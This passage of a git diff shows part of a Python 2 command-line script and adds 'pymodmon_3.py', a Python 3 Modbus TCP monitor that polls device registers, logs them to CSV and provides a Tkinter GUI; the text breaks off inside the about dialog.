(arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command 